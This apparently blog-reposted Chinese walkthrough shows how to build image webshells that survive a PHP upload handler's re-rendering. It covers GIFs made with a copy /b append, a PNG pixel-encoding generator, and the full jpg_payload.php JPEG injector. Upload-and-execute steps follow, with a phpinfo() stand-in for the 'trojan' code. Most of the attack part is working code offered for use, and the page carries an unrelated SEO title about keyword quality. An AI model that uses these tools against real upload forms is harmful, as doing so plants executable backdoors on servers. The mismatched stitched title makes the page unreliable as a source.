做網(wǎng)站網(wǎng)頁排版錯誤怎么提升關鍵詞的質(zhì)量度
代碼分析
$im = imagecreatefromjpeg($target_path);
在本關的代碼中這個imagecreatefromjpeg();函數(shù)起到了將上傳的圖片打亂并重新組合。這就意味著在制作圖片馬的時候要將木馬插入到圖片沒有被改變的部分。
gif
gif圖的特點是無損,我們可以對比上傳前后圖片的內(nèi)容字節(jié),在渲染后不會被修改的部分插入木馬。推薦使用010editor來比較兩個圖片的不用之處來插入一句話木馬
- 創(chuàng)建php文件和jif圖片
<?php phpinfo() ?>;
- 將php代碼和gif圖片整合在一起
copy 3.gif /b + web.php /a xh.gif //切換到相應的目錄在windows命令行里面切換到相應的目錄然后輸入命令。
- 使用010 Editor16進制編輯器查看2.gif內(nèi)容,可以看出php代碼已經(jīng)插入圖片馬中了:
- 上傳制作好的圖片并下載查看
發(fā)現(xiàn)插入的木馬不在了
GIF繞過二次渲染的方法,就是通過對比上傳前和上傳后的兩個文件,如果說哪個位置,它的上傳前和上傳后的沒有變,我們就把php一句話代碼插入到這個位置。 - 比較兩個圖片,在不變的位置插入一句話木馬
- 再次上傳圖片
復制上傳后圖片的鏈接并輸入到瀏覽器的url中會發(fā)現(xiàn)執(zhí)行了一句話木馬
png
png圖片的特點是:PNG的文件格式有個特性,就是在IDAT(圖像數(shù)塊)開始的地方寫入字符串等等不會損壞圖片的顯示(一般改完都是一片黑)。
- 利用腳本生成一個png格式的圖片馬
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./xh.png');
?>
運行之后在左側(cè)生成一個圖片
- 查看圖片
生成了一段一句話木馬 - 上傳圖片,并查看圖片的源碼
對比兩個圖片發(fā)現(xiàn)在上傳之后并沒有將一句話木馬打亂。
gpj圖片
gpj圖片非常的易損,制作困難對選取的圖片也有一定的要求,一定要多試。
- 利用腳本生成一個圖片馬
<?php$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
上述代碼實現(xiàn)了一個包含隱藏惡意payload的JPG圖像注入技術。具體來說,這個腳本會嘗試在指定的JPEG圖像文件中插入惡意PHP代碼,并通過添加空字節(jié)的方式進行隱藏。一旦成功將惡意payload注入到圖像中并成功驗證,就會輸出’Success!'。
推薦使用證件照來上傳,本人在測試的時候用證件照在插入php代碼的時候圖片沒有損壞可以上傳
- 首先找一張jpg的圖片上傳到服務器上
- 將傳上去的圖片保存到本地
- 在本地cmd執(zhí)行 php demo.php(上述寫的代碼) 21790.gpj(在服務器下載的圖片)
- 執(zhí)行命令后會在本地生成一個新的gpj圖片生成的圖片命令格式通常為playload_*.jpg
- 再次上傳新生成的圖片,當圖片上傳成功后復制其鏈接輸入到瀏覽器的url中
制作不易:還望客官多多擔待。